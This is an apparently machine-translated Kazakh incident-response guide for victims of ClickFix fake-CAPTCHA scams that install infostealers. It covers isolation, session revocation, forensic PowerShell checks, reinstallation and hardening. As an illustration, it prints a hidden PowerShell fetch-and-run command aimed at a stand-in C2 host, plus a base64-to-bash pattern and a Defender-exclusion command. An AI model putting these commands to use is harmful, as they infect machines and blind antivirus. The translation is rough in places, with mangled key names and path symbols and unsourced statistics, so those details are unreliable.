«ClickFix» жалған CAPTCHA алаяқтығы: неге Win+R және Ctrl+V пернелерін басу ақпаратты ұрлаушы зиянды бағдарламаны іске қосады¶

Егер сіз веб-сайттағы "Мен робот емеспін" немесе "Адам екеніңізді растаңыз" түймесін бассаңыз (немесе жалған Cloudflare Turnile, Google Meet, Zoom немесе браузерді жаңарту қатесінің қалқымалы терезесін көрген болсаңыз) ** түймесін басу керек.Windows + R** (немесе macOS терминалын ашыңыз), ** басыңызCtrl + V** (Cmd + V) және ** басыңызEnter**, компьютеріңіз жаңа ғана тірі зиянды бағдарламаның пайдалы жүктемесін орындады - көбінесе Lumma Stealer, Vidar, StealC, RedLine, немесе Atomic macOS Stealer (AMOS) ақпаратты ұрлаушы. Жердегі ешбір заңды CAPTCHA, Cloudflare тексеруі немесе бейнеконференция құралы ешқашан адамнан Windows Run диалогтық терезесін ашуды сұрамайды (Win + R), Windows терминалы, пәрмен жолы немесе macOS терминалы арқылы пәрменді қойыңыз. Осы веб-беттегі жалған «Тексеру» құсбелгісін басқанда, зиянды JavaScript (navigator.clipboard.writeText()) жасырын PowerShell файлын үнсіз көшірді, mshta.exe, rundll32, немесе curl | bash алмасу буферіне пәрмен. Басқаннан кейін 3-6 секунд ішінде Enter, бұл сценарий әрбір сақталған құпия сөзді, несие картасын автотолтыруды, криптовалюта браузерінің кеңейтім қоймасын (MetaMask, Phantom, Rabby), Discord/Telegram таңбалауышы және Chrome, Edge, Brave және Firefox жүйелеріндегі белсенді сеанс cookie файлы - шабуылдаушыларға құпия сөзді немесе екі факторлы аутентификацияны қажет етпестен Gmail, Microsoft 365, банк және корпоративтік тіркелгілерді басып алуға мүмкіндік береді (2FA). Ұрланған шолғыш сеанстарын терең түзету үшін де кеңесіңіз сеанс cookie файлдарын ұрлау, ақпаратты ұрлаушы зиянды бағдарлама және рұқсат кілтін қайтарып алу; Егер сіз өз әмияныңыздан қаражаттың шығып жатқанын байқасаңыз, дереу оған өтіңіз криптовалюта әмиянының ағызу және тұқымдық фразалық ымыраға келу; немесе алаяқ сізді AnyDesk немесе ScreenConnect орнатуға шақырса, қараңыз техникалық қолдау қалқымалы алаяқтық және қашықтағы жұмыс үстелін жою. Егер бұл инфекция аурухананың жұмыс орнында, муниципалды желіде орын алса немесе өмір қауіпсіздігіне байланысты дереу бопсалаумен байланысты болса, жергілікті жедел жәрдем нөміріне (911 АҚШ пен Канадада, 112 Еуропалық Одақ бойынша, 999 Ұлыбританияда) немесе біздің каталогты тексеріңіз шұғыл нөмірлер.

Мұны қазір жасаңыз¶

1. Ethernet кабелін ажыратыңыз немесе вирус жұққан компьютердегі Wi-Fi желісін 5 секунд ішінде өшіріңіз: сияқты ақпарат ұрлаушылар Lumma Stealer шолғыштың SQLite дерекқорларын бума (Login Data, Cookies, Network/Cookies, Web Data) а .zip мұрағатта %TEMP% және оны Пәрмен және басқару құралына жүктеңіз (C2) серверін орнатыңыз, содан кейін жиі қайталама қашықтан қол жеткізу троянын (RAT), SOCKS5 тұрғын проксиі немесе төлем бағдарламалық құралын жүктеуші. Интернет қосылымын үзу қосымша пайдалы жүктемелерді және ағымдағы экранды/пернелерді басу ағынын дереу тоқтатады.
2. Құпия сөздерді өзгерту үшін вирус жұққан компьютерді ҚОЛДАНБАҢЫЗ - дәл қазір таза смартфонды (ұялы деректерде) немесе вирусы жоқ компьютерді алыңыз: тұрақты пернетақта, алмасу буферін ұрлау немесе HVNC (Жасырын виртуалды желіні есептеу) модулі вирус жұққан компьютерде жедел жадта жұмыс істейді, сол компьютерде жаңа құпия сөздерді теру жаңа тіркелгі деректерін тікелей шабуылдаушыға береді.
3. Таза телефоныңыздан негізгі электрондық поштаңыздағы «Барлық құрылғылардан шығу / Барлық белсенді сеанстарды жою» түймесін басыңыз (Gmail / Microsoft 365 / Yahoo), құпия сөз реттеушісі және жұмыс SSO (Okta / Entra ID) БІРІНШІ:
4. Неліктен жай ғана құпия сөзді өзгерту жеткіліксіз: Ақпарат ұрлаушылары сіздің белсенді аутентификация сеансының cookie файлдарын ұрлайды (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). Көптеген платформаларда экспортталған сеанс cookie файлы Барлық сеанстардан шығу / Токендерді қайтарып алу түймешігін анық басып, құпия сөзді айналдырмайынша күндер немесе апталар бойы жарамды болып қалады.
5. Google / Gmail: кіріңіз myaccount.google.com/device-activity -> әрбір жұмыс үстелі сеансын таңдаңыз -> Шығу түймесін басыңыз, содан кейін Google құпия сөзін өзгертіңіз және тексеріңіз Settings -> Forwarding and POP/IMAP дыбыссыз жіберу ережелері үшін.
6. Microsoft / Outlook / Entra ID: кіріңіз mysignins.microsoft.com/security-info -> Барлық жерден шығу түймесін басыңыз, содан кейін құпия сөзді қалпына келтіріңіз.
7. Егер сізде криптовалюта әмиянының кеңейтімі болса (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) сол компьютерде барлық қаражатты бірден таза құрылғыдағы жаңа септік фразасына көшіріңіз:
8. Lumma Stealer және AMOS шифрланғанды көшіріңіз Local Extension Settings Chrome/Brave/Edge қолданбасынан IndexedDB/LevelDB қойма файлдары тікелей шабуылдаушы серверіне жіберіледі, мұнда GPU кластерлері жергілікті кеңейтім құлпын офлайн режимде ашуға арналған құпия сөзді күштеп қолданады (немесе құлыптан босатылған жағдайда тікелей жедел жадтан негізгі фразаны оқыңыз). Осы компьютерде сақталған әрбір негізгі фразалар мен жеке кілт 100 пайыз бұзылған делік.
9. Компьютерді сүртпес бұрын, не орындалғанын білу үшін дәл қойған пәрменді сақтаңыз:
10. Windows жүйесінде Блокнотты ашыңыз (әлі желіден тыс кезде) және түймесін басыңыз Ctrl + V аралық сақтағышта әлі тұрған нәрсені қою үшін немесе басыңыз Windows + R және Ең соңғы пайдаланылғандарды оқу үшін ашылмалы көрсеткіні басыңыз (MRU) Сақталған іске қосу журналы HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Оқиғаға жауап беру үшін телефонмен сол пәрменді суретке түсіріңіз.
11. Жылдам антивирустық сканерлеуге сенбей, таза USB амалдық жүйесін қайта орнатуды (немесе толық офлайн криминалистикалық тазалауды) орындаңыз: Қазіргі заманғы ClickFix пайдалы жүктемелер заңды қол қойылған Windows екілік файлдарын пайдаланады (Living-off-the-Land Binaries немесе LOLBins сияқты mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, және AutoIt3.exe) заңды жүйе процестеріне енгізетін (explorer.exe, svchost.exe) және жиі Windows Defender-ге ерекшеліктерді қосады (Add-MpPreference -ExclusionPath).

Шешім тармағы: ClickFix-тен кейін дереу оқшаулау және қалпына келтіру Win+R немесе Терминал пастасы¶

Пәрменді қойғаныңызды түсінген кезде осы шешім ағашын орындаңыз Win + R, Windows терминалы немесе macOS терминалы:

flowchart TD
    Start["Жалған CAPTCHA қойылды / Win+R, PowerShell немесе macOS терминалына қатені түзету пәрмені"] --> Disconnect["1-ҚАДАМ (0-ден 10 секундқа дейін): Ethernet желісінен ажыратыңыз және вирус жұққан компьютердегі Wi-Fi желісін дереу өшіріңіз"]

    Disconnect --> CryptoCheck{"Бұл компьютерде крипто әмияндары болды ма (MetaMask, Phantom, Exodus, Ledger Live, сақталған кілттер)?"}

    CryptoCheck -->|"Иә"| EvacCrypto["2-ҚАДАМ (ШҰДА): Таза телефон/аппараттық әмиянда ЖАҢА негізгі фразаны жасаңыз және барлық активтерді дереу тасымалдаңыз"]
    CryptoCheck -->|"Жоқ"| CleanDevice["2-ҚАДАМ: Таза смартфонға (ұялы деректер) немесе вирус жұқтырмаған құрылғыға ауысыңыз"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["3-ҚАДАМ: Сервер жағындағы сеанстарды қайтарып алу және құпия сөздерді қатаң басымдық тәртібімен бұру"]

    RevokeSessions --> P1["1. Негізгі электрондық пошта (Gmail / M365 / Proton): Барлық белсенді құрылғы сеанстарын жою, құпия сөзді қалпына келтіру, қайта жіберу ережелерін тексеру"]
    P1 --> P2["2. Жұмыс / Корпоративтік SSO (Okta / Entra ID / VPN / AWS / GitHub / SSH кілттері): Егер жұмыс тіркелгілері кірген болса, дереу корпоративтік SOC хабарлаңыз"]
    P2 --> P3["3. Қаржылық, банктік, PayPal, Stripe, Amazon, Steam, Discord және әлеуметтік медиа тіркелгілері"]

    P3 --> InspectPayload["4-ҚАДАМ (Жұқтырылған компьютерде офлайн): пайдалы жүктемені анықтау үшін RunMRU тізілімін және PowerShell операциялық оқиғасының идентификаторын 4104 тексеріңіз"]

    InspectPayload --> WipeChoice{"Бұл корпоративтік соңғы нүкте ме немесе дербес компьютер ме?"}
    WipeChoice -->|"Жұмысқа рұқсаты бар корпоративтік / BYOD"| CorpIR["EDR криминалистикалық триажы және BitLocker қайта кескіні үшін АТ қауіпсіздігіне / SOC жүйесіне қол машинасын офлайн"]
    WipeChoice -->|"Жеке Windows / Mac"| CleanInstall["Тек қарапайым құжаттардың сақтық көшірмесін жасау (.exe/.bat/.dmg жоқ) -> USB жүктеуді тазалау -> Бөлімдерді өшіру және ОЖ қайта орнату"]

1-кезең: «ClickFix» шабуылының анатомиясы - веб-бетті қалай ұрлайды Win + R¶

Осы 5 секунд ішінде операциялық жүйеде не болғанын түсіну кейбір файлдар мен тіркелгілерге неге бірден қауіп төніп тұрғанын, ал басқаларына қауіп төнбейтінін түсіндіреді.

1. ClickFix науқандарында қолданылатын 3 әлеуметтік инженерия тартуы¶

Шабуылшылар ClickFix қабаттасуларын зиянды жарнамалар (демеуші іздеу нәтижелері), бұзылған WordPress сайттары, қарақшылық бағдарламалық құрал/ағынды порталдар, жалған GitHub репозиторийлері және фишингтік электрондық пошталар бойынша таратады: 1. Fake Cloudflare / Google reCAPTCHA қорабы («Адам екеніңізді растаңыз»): Сіз «Мен робот емеспін» құсбелгісін басасыз. Жасыл құсбелгінің орнына келесідей қалқымалы терезе пайда болады: "Әдеттен тыс трафик анықталды. Адам екеніңізді растау үшін мына 3 қадамды орындаңыз: 1. түймесін басыңыз. Windows + R пернетақтада. 2. түймесін басыңыз Ctrl + V. 3. түймесін басыңыз Enter." 2. Feke Chrome/Edge қаріпі немесе жаңарту қатесі («Осы веб-бетті көрсету кезінде бірдеңе дұрыс болмады»): Бұлыңғыр фон веб-сайтты Windows PowerShell/Terminal ашып, «ресми түзету сценарийін» қоюды талап ететін түбірлік сертификаттың жоқтығын немесе қаріп жаңартуын талап ететін ресми көрінетін Chrome тілқатысу терезесін қамтиды. 3. Жалған масштабтау / Google Meet / Microsoft Teams микрофоны немесе камера қатесі: Жалған жұмыс сұхбатына шақырулар немесе клиент кездесуі сілтемелері арқылы жіберілген бетте айналмалы бейне экран көрсетіледі және macOS және Windows пайдаланушыларына Терминалды ашуға және «драйверді қалпына келтіру» пәрменін қоюға шақырады.

2. Неліктен командада зиянсыз көрінді Win + R қорап¶

The Windows + R (Run) тілқатысу терезесі тек 259 таңбадан тұрады (MAX_PATH UI енгізу өрісі) және курсор оңға секіргеннен кейін ғана қойылған жолдың соңын көрсетеді. Шабуылшылар зиянды пәрменін бос орындармен толтыру немесе оны жалған түсініктемемен аяқтау арқылы осы көрнекі қысқартуды пайдаланады:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Дәл не Lumma Stealer, StealC, және AMOS 4 секундта ұрлау¶

2-кезең: Есептік жазбаны бұғаттау және сеансты жою (1-30 минут - таза құрылғыда)¶

Вирус жұққан ДК интернеттен толығымен ажыратылған күйде болған кезде, дәл осы оқшаулау ретін орындау үшін таза смартфонды немесе екінші компьютерді пайдаланыңыз.

1-қадам: Электрондық пошта тіркелгілерін құлыптау (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Кез келген браузер профиліне кірген әр электрондық пошта тіркелгісі үшін (Default, Profile 1, Work) сол компьютерде: 1. Барлық белсенді құрылғы сеанстарын тоқтату: - Google / Gmail: өтіңіз myaccount.google.com/device-activity -> вирус жұққан Windows/Mac құрылғысын (және кез келген бейтаныс сеанстарды) таңдаңыз -> Шығу түймесін басыңыз. Сондай-ақ барыңыз myaccount.google.com/connections және кез келген күдікті үшінші тарап OAuth қолданбаларын жойыңыз. - Microsoft (Personal & Work M365): өтіңіз account.live.com/proofs/Manage (жеке) немесе mysignins.microsoft.com/security-info (жұмыс) -> Барлық жерден шығу түймесін басыңыз. 2. Электрондық пошта құпия сөзін тек таза құрылғыңызда сақталған мүлдем жаңа, бірегей құпия сөзге өзгертіңіз. 3. Кіріс жәшігінің ережелерін, сүзгілерін және автоматты қайта жіберуді дереу тексеру: Ақпаратты ұрлау операторлары жұқтырылған сәттен бастап бірнеше минут ішінде ұрланған Gmail/Outlook cookie файлдарына кіретін және жасырын сүзгіні жасайтын автоматтандырылған сценарийлерді іске қосады: Егер хабарда "Қауіпсіздік", "Код", "Coinbase", "Binance", "Банк" немесе "Steam" -> Оқылған деп белгілеу, Зиянкеске жіберу, Себетке/RSS арналарына жылжыту. - Gmail-де: жұмыс үстелі көрінісін ашу -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses ЖӘНЕ Forwarding and POP/IMAP. Кез келген белгісіз сүзгіні немесе қайта жіберу мекенжайын дереу жойыңыз. - Outlook / M365 жүйесінде: Ашық Settings -> Mail -> Rules ЖӘНЕ Mail -> Forwarding ЖӘНЕ Mail -> Junk email (шабуылдаушы блоктамағанына көз жеткізу үшін бұғатталған жіберушілерді тексеріңіз no-reply@accounts.google.com немесе сіздің банкіңіз).

2-қадам: Құпиясөз басқарушыларын құлыптау (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• Құпия сөздеріңізді Chrome / Edge / Brave кірістірілген Password Manager ішінде сақтадыңыз ба? Chrome, Edge, Brave, Opera немесе Firefox қолданбаларында сақталған әрбір құпия сөзді (Firefox қолданбасында реттелетін Негізгі құпия сөз жинағы болмаса) ақпаратты ұрлаушы ашық мәтінде экспорттаған. Браузердің кірістірілген құпия сөз реттеушісінде сақталған құпия сөздердің 100 пайызын бұзылған деп санап, оларды қаржылық, электрондық пошта және жұмыс тіркелгілерінен бастап өзгерту керек.
• Арнайы Құпиясөз реттеушісін пайдаландыңыз ба (1Password, Bitwarden, Proton Pass, Keeper)?
• Егер сіз пәрменді орындаған кезде қойма құлыпталған болса, шифрланған қоймаңыз негізгі құпия сөз/құпия кілт арқылы қорғалған болады.
• Егер қойма кеңейтімі жадта құлпы ашылған болса (немесе пәрменді орындағаннан кейін басты құпия сөзді терген болсаңыз), таза телефоныңыздан құпия сөз реттеушісінің веб қоймасына кіріп, Барлық сеанстарды авторизациялау түймесін басыңыз.Bitwarden: Settings -> My Account -> Deauthorize Sessions), Негізгі құпия сөзді айналдырыңыз және қойма ішіндегі айналмалы жоғары мәнді тіркелгі деректеріне басымдық беріңіз.

3-қадам: Әзірлеуші, корпоративтік және чат токендерін қайтарып алу (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Discord құпия сөзін өзгерту ескі аутентификация белгісін автоматты түрде жарамсыз етеді (leveldb жетон). Телефоныңыздан Discord құпия сөзін дереу өзгертіңіз, тексеріңіз Settings -> Devices -> Барлық белгілі құрылғылардан шығыңыз және тексеріңіз Settings -> Authorized Apps және Settings -> Billing (сақталған несие карталарын/PayPal-ды алып тастаңыз).
• Telegram: Телефоныңызда ашыңыз Telegram -> Settings -> Devices -> Барлық басқа сеанстарды тоқтату түймесін дереу түртіңіз (бұл кез келген ұрланған файлды өлтіреді tdata жұмыс үстелі қалтасының клоны).
• Steam: Телефонда Steam қолданбасын ашыңыз -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, құпия сөзіңізді өзгертіңіз және ешбір API кілті тіркелмегенін тексеріңіз steamcommunity.com/dev/apikey (алаяқтар сауда ұсыныстарын ұрлау үшін жалған Steam Web API кілтін тіркейді).
• GitHub / GitLab / AWS / SSH: Егер сіз бағдарламалық жасақтама инженері немесе жүйе басқарушысы болсаңыз, мына сайтқа кіріңіз. github.com/settings/sessions (браузер сеанстарын жою), github.com/settings/keys (сол компьютерде сақталған SSH кілттерін жою), github.com/settings/tokens (Жеке қол жеткізу таңбалауыштарын жою) және кез келгенін айналдырыңыз -/.aws/credentials AWS IAM консоліндегі IAM кілттері дереу. Біздің арнаулы нұсқаулықты қараңыз жеткізу тізбегі npm/PyPI компромисс және әзірлеуші жұмыс станциясының кілтін айналдыру.

3-кезең: Офлайн сот-сараптамалық тексеру - ДК-де не жұмыс істейтінін анықтау¶

Вирус жұққан компьютерді сүртіп, қайта орнатпас бұрын (немесе корпоративтік қауіпсіздік тобына есеп дайындап жатқанда) нені қауіпсіз тексеруге болады. ClickFix пәрмен орындалды құрылғыны 100% офлайн режимінде (Wi-Fi өшірулі, Ethernet ажыратылған).

1. Windows жүйесін тексеру Win + R Тарих және PowerShell журналдары¶

1. Windows Run параметрін тексеріңіз (Win + R) MRU тізілімі (Most Recently Used) тізім: Ашық regedit.exe немесе желіден тыс PowerShell терезесін ашып, іске қосыңыз:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Кез келген пәрмен терілген немесе енгізілген Win + R мұнда сипаттар астында сақталады a, b, c, т.б. бірінші көрсетілген әріпте жазылған пәрменді қараңыз MRUList.
2. PowerShell сценарийінің блогын тіркеу оқиғалар журналын тексеріңіз (оқиға идентификаторы 4104): Шабуылдаушы пайдаланса да -WindowStyle Hidden (-w h) және Base64 кодтауы (-EncodedCommand / -e), Windows Оқиғаларды қарау құралы ішінде күдікті PowerShell сценарийлерін автоматты түрде декодтайды және тіркейді:
3. түймесін басыңыз Win + X -> Оқиғаларды қарау құралы -> өтіңіз Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Оқиға идентификаторы үшін сүзгі 4104 (Execute a Remote Command). Сіз нақты өшірілген PowerShell сценарийін, ол жүктеп алған URL мекенжайын және қалтаны көресіз. %TEMP%, %AppData%, немесе %LocalAppData% ол қайталама жүктемені төмендетті.
5. Windows жүйесінде тұрақтылықтың қай жерде орнатылғанын тексеріңіз: Ақпаратты ұрлаушылар және олардың жүктеуші сценарийлері (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) төрт жерде қайта жүктеудің сақталуын орнатыңыз:

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (Егер көрсеңіз C:\, C:\Users, %AppData%, немесе .exe астына қосылады ExclusionPath немесе ExclusionProcess, зиянды бағдарлама компьютеріңіздегі Microsoft Defender бағдарламасын анық соқыр етіп жіберді.)

2. Терминалды ClickFix кейін macOS тексеру (Atomic macOS Stealer / AMOS немесе Poseidon)¶

MacOS жүйесінде ClickFix беттері пайдаланушыға Терминалды (Cmd + Space -> Terminal) және сияқты base64-кодталған пәрменді қойыңыз echo "..." | base64 -d | bash. 1. Офлайн режимінде қабық тарихын тексеріңіз (cat -/.zsh_history | tail -n 30 немесе cat -/.bash_history). 2. Зиянды бағдарлама тұрақты фондық LaunchAgent орнатқанын тексеріңіз:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

4-кезең: Таза қалпына келтіру - Неліктен өшіріп, қайта орнату керек (немесе желіден тыс құтқаруды іске қосыңыз)¶

Қауіпсіздік агенттіктері (CISA, FBI, NCSC) ақпаратты ұрлағаннан кейін таза USB дискісінен операциялық жүйені сүртіп, қайта орнатуға кеңес беріңіз. LOLBin орындау, себебі жүктеушілер көбінесе заңды жүйе екілік файлдарына қабықша кодын енгізеді, руткит/прокси драйверлерін орнатады немесе жұмыс істемейтін бэкдорларды қалдырады (NetSupport RAT / Cobalt Strike).

Қадамдық таза қайта орнату және қауіпсіз файлдың сақтық көшірмесін жасау¶

1. ** Вирус жұққан компьютер әлі желіден тыс болса, ТЕК таза деректер файлдарының сақтық көшірмесін жасаңыз**: Тек жеке құжаттарды, фотосуреттерді, электрондық кестелерді және бастапқы кодты көшіріңіз (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) сыртқы USB дискісіне. Сақтық көшірме жасамаңыз .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, немесе браузер User Data профиль қалталары.
2. ЕКІНШІ, таза компьютерде жүктелетін Windows 11 Media Creation USB (microsoft.com/software-download/windows11) немесе macOS қалпына келтіру ортасы.
3. Таза USB орнатушысынан жүктеңіз, жүктелетін SSD дискісінде бар барлық бөлімдерді жойыңыз (сондықтан EFI жүйелік бөлімі, MSR және негізгі ОЖ бөлімі жаңадан жасалған) және операциялық жүйенің таза көшірмесін орнатыңыз.
4. Егер сіз машинаны бірден сүрте алмасаңыз:
5. Барлық Defender ерекшеліктерін жою (Remove-MpPreference -ExclusionPath ...).
6. Желі өшірілген Windows қауіпсіз режиміне жүктеңіз (немесе Kaspersky Rescue Disk / ESET SysRescue Live USB құрылғысынан жүктеңіз) және Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes және ESET Online Scanner, сонымен қатар Sysinternals Autoruns () ішіндегі әрбір жазбаны тексеріңіз.autoruns64.exe) Microsoft жазбаларын жасыру құсбелгісін алып тастаңыз.

5-кезең: ClickFix ешқашан қайталанбауы үшін Windows және macOS қатайту¶

• Жасыру немесе өшіру Windows + R (Run) топтық саясат/тізілім арқылы техникалық емес отбасы мүшелеріне немесе стандартты корпоративтік пайдаланушыларға арналған диалог: Параметр NoRun = 1 (DWORD) астында HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer толығымен өшіреді Windows + R пернелер тіркесімі. Себебі ClickFix шабуылдарының 95 пайызы пайдаланушы басуына байланысты Win + R, «Орындау» диалогтық терезесін өшіру пайдаланушы ештеңе қоя алмас бұрын шабуылды тоқтатады.
• ** үшін әдепкі файл байланысын өзгертіңіз .hta, .vbs, .js, және .wsf сценарийлері notepad.exe**: өшіру mshta.exe және wscript.exe Windows шабуылының бетін азайту арқылы (ASR) ережелер немесе біріктіру .hta/.vbs/.js Блокнот көмегімен сценарийдің орындалуын болдырмайды.
• Маңызды тіркелгілерді Аппараттық қамтамасыз ету кілттеріне жаңартыңыз (FIDO2 / WebAuthn YubiKey сияқты қауіпсіздік кілттері): Ақпаратты ұрлаушылар жүйеге кіргеннен кейін браузерден сеанс cookie файлдарын ұрлай алады, бірақ аппараттық қауіпсіздік кілттері (FIDO2) қысқа сеанс мерзімімен және үздіксіз қол жеткізуді бағалаумен (CAE / Құрылғыға байланысты сеанс тіркелгі деректері DBSC) шабуылдаушылардың негізгі тіркелгі деректерін қайта аутентификациялауына немесе экспорттауына жол бермеу.
• Браузерге арналған жарнаманы және зиянды жарнаманы блоктаушыны орнатыңыз (uBlock Origin / uBlock Origin Lite) және Жетілдірілген қауіпсіз шолуды қосу: ClickFix инфекцияларының 60 пайыздан астамы заңды бағдарламалық жасақтаманың атын көрсететін зиянды Google/Bing іздеу жарнамаларынан туындайды (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) немесе ағынды сайттар.

Аймақтық жедел жәрдем нөмірлері және агенттік хаттамалары¶

Егер ClickFix/ Lumma Stealer корпоративтік тіркелгі деректеріне, денсаулық сақтау жүйелеріне, қаржылық шоттарға немесе үкіметтік желілерге инфекция жұқтырған жағдайда оқиға туралы ресми арналар арқылы дереу хабарлаңыз:

• Америка Құрама Штаттары және Канада:
• Төтенше жағдайдағы өмір қауіпсіздігі / маңызды инфрақұрылым: теріңіз 911 егер инфекция аурухананың клиникалық жүйелерін немесе қоғамдық қауіпсіздік жұмыстарын бұзса.
• ФБР Интернеттегі қылмысқа шағымдану орталығы (IC3) (АҚШ): ** мекенжайында дереу есепті жіберіңізic3.gov** (әсіресе криптовалюта, банктік сымдар немесе корпоративтік іскерлік электрондық поштаның бұзылуы ұрланған сеанс cookie файлдарының нәтижесінде болса).
• Киберқауіпсіздік және инфрақұрылымдық қауіпсіздік агенттігі (CISA) (АҚШ): Кәсіпорын және маңызды инфрақұрылымдық ұйымдар ақпарат ұрлау туралы бұзушылықтар туралы хабарлауы керек 1-844-Say-CISA (1-844-729-2472) немесе cisa.gov/report.
• Канадалық алаяқтыққа қарсы орталық (CAFC) & Кибер орталық: қоңырау шалыңыз 1-888-495-8501 немесе хабарлаңыз cyber.gc.ca.
• Біріккен корольдігі:
• Төтенше қызметтер: теріңіз 999 (немесе 101 төтенше емес полиция үшін).
• Action Fraud & NCSC: киберқылмыс және ұрланған қаражат туралы Action Fraud (0300 123 2040 / actionfraud.police.uk). Корпоративтік тұтынушы деректері немесе тіркелгі деректері жойылған болса, ICO-ға міндетті 72 сағаттық Ұлыбританияның GDPR хабарламасын бағалаңыз (0303 123 1113).
• Еуропа одағы:
• Төтенше қызметтер: теріңіз 112 барлық ЕО-ға мүше мемлекеттерде.
• GDPR 33-бап және NIS2 CSIRT есеп беру: Себебі Lumma Stealer барлық браузерлерді эксфильтрациялайды Login Data, Cookies, және автотолтыру кэштері, қызметкердің немесе тұтынушының жеке деректері сақталған кез келген вирус жұққан корпоративті ноутбук құпиялылық деректерінің бұзылуын құрайды, бұл сіздің ұлттық деректерді қорғау органына 72 сағаттық хабарландыру үшін бағалауды қажет етеді (DPA).
• Австралия және Жаңа Зеландия:
• Төтенше қызметтер: теріңіз 000 Австралияда немесе 111 Жаңа Зеландияда.
• Австралиялық киберқауіпсіздік орталығы (ACSC / ReportCyber): Қоңырау 1300 CYBER1 (1300 292 371) немесе файл cyber.gov.au (және IDCARE мекенжайы бойынша хабарласыңыз 1800 595 160 жеке басын қалпына келтіру үшін). Жаңа Зеландияда CERT NZ (0800 237 869).
• Үндістан және Азия-Тынық мұхиты:
• Үндістанның киберқылмысқа қарсы ұлттық сенім телефоны және CERT-In: қоңырау шалыңыз 1930 қаржылық алаяқтық орын алса, дереу мына мекенжайға хабарласыңыз cybercrime.gov.in, және ұйымдық бұзушылықтар туралы CERT-In (incident@cert-in.org.in) 6 сағат ішінде.

Жиі қойылатын сұрақтар¶

аштым Win + R және басылды Ctrl + V, сондықтан мәтін қорапта пайда болды, бірақ мен оның көлеңкелі екенін түсіндім және баспай «Болдырмау» түймесін басыңыз Enter. Мен жұқтырдым ба?¶

Жоқ, сіз толығымен қауіпсізсіз. Браузердің веб-парағы мәтінді JavaScript арқылы алмасу буферіне көшіре алады (navigator.clipboard.writeText) және басыңыз Жеңіс + R соңынан Ctrl + V тек сол мәтін жолын Windows Run енгізу жолағына қояды. Басқанша ештеңе орындалмайды Енгізіңіз немесе басыңыз Жарайды. Егер сіз бассаңыз Болдырмау немесе жабыңыз Жүгіру қорапты баспай Енгізіңіз, ешқандай команда іске қосылмаған. сияқты зиянсыз сөзді көшіру арқылы алмасу буферін жай ғана тазалаңыз сәлем Блокнотта және зиянды шолғыш қойындысын жабыңыз.

Неліктен Windows Defender немесе менің антивирусым пәрменді енгізген кезде бұғаттамады Win + R?¶

Өйткені сіз - жүйеге кірген адам - физикалық түрде басылды Жеңіс + R және соқты Енгізіңіз, Windows пәрменді іске қосылған әдейі әкімшілік әрекет ретінде қарастырады explorer.exe Интернеттен жүктелген сенімсіз файлдың орнына (әдетте ол веб-белгіні алып жүреді) Аймақ.Идентификатор тег). Сонымен қатар, ClickFix тізбектері кірістірілген Microsoft қол қойылған екілік файлдарды пайдаланады (mshta.exe, powershell.exe, conhost.exe, немесе қол қойылған үшінші тарап аудармашылары сияқты AutoIt3.exe) пайдалы жүктемені тікелей жедел жадта жинау және шифрын ашу, жиі орындалады Add-MpPreference -ExclusionPath "C:\" кез келген танылатын зиянды бағдарлама файлын дискіге жазбас бұрын бірінші миллисекундта.

Ақпаратты ұрлаушы менің компьютерімдегі барлық пайдаланушы тіркелгілерінен файлдарды немесе тек менің жүйеге кірген профилімді ұрлай ма (Default қарсы Profile 1, Profile 2)?¶

Ақпаратты ұрлаушылар сканерлеу әрбір шолғыш профилі қалтасы Windows пайдаланушы тіркелгісінде (%LocalAppData%\Google\Chrome\Пайдаланушы деректері\Әдепкі, Профиль 1, Профиль 2және т.б., Chrome, Edge, Brave, Opera және Firefox жүйелерінде), тіпті сол қосымша шолғыш профильдерінің сол кезде ашық терезесі болмаса да. Бұл Windows жүйесіне бірдей логин астында бөлек "Жұмыс" Chrome профилін және "Жеке" Chrome профилін сақтасаңыз, екі профильде де сақталған құпия сөздер мен сеанс cookie файлдары бір уақытта ұрланған.

Егер мен Google немесе Microsoft тіркелгісінде рұқсат кілтін пайдалансам ше: ақпаратты ұрлаушы рұқсат кілтімді ұрлады ма?¶

